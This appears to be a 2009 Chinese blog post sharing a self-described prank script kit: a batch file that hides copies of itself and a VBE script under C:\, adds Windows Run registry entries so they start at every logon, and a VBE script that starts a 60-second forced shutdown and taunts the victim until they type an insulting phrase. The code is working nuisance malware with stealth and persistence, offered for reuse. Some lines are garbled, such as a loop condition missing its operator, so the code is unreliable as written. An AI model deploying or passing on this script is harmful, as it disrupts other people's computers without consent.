一个整人的vbs脚本(yzy原创)

一个整人的vbs脚本(yzy原创)
2009年08月14日
　　[b]声明：你们可以任意转载，但是转载是必须表明作者是yzy[/b]
　　　　我写了个整人的vbs脚本(我叫它猪头1.1），分三部分：
　　一、开始.bat：
　　@copy a\搞笑.vbe "c:\搞笑.vbe"
　　@copy a\reg.bat "c:\reg.bat"
　　@cd\
　　@attrib +a +s +h +r c:\搞笑.vbe
　　@attrib +a +s +h +r c:\reg.bat
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
　　@"c:\搞笑.vbe"
　　二、a（文件夹）：　1、reg.bat：
　　@cd\
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f　　2、搞笑.vbe：
　　on error resume next
　　dim WSHshellA
　　Dim msg,sapi
　　set sapi.Voice = colVoice.Item(cnVoice)
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗？哈哈！赶紧说：我是猪头的爸爸的猪头??不说我是猪头这十二个字，就60秒后关机关你电脑，不信，试试??????"" ",0 ,true
　　Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
　　Set sapi=CreateObject("sapi.spvoice")
　　Sapi.Speak Msg
　　dim a
　　do while(a "我是猪头的爸爸的猪头")
　　a = inputbox ("说我是猪头的爸爸的猪头??,就不关机，快撒，说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy QQ:1033742067　","说不说","在这输入那十二个字就不会关机了",8000,7000)
　　Msg="真的吗 你真的是猪头 看不出来哦"
　　Set sapi=CreateObject("sapi.spvoice")
　　Sapi.Speak Msg
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　Msg="哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
　　Set sapi=CreateObject("sapi.spvoice")
　　Sapi.Speak Msg
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"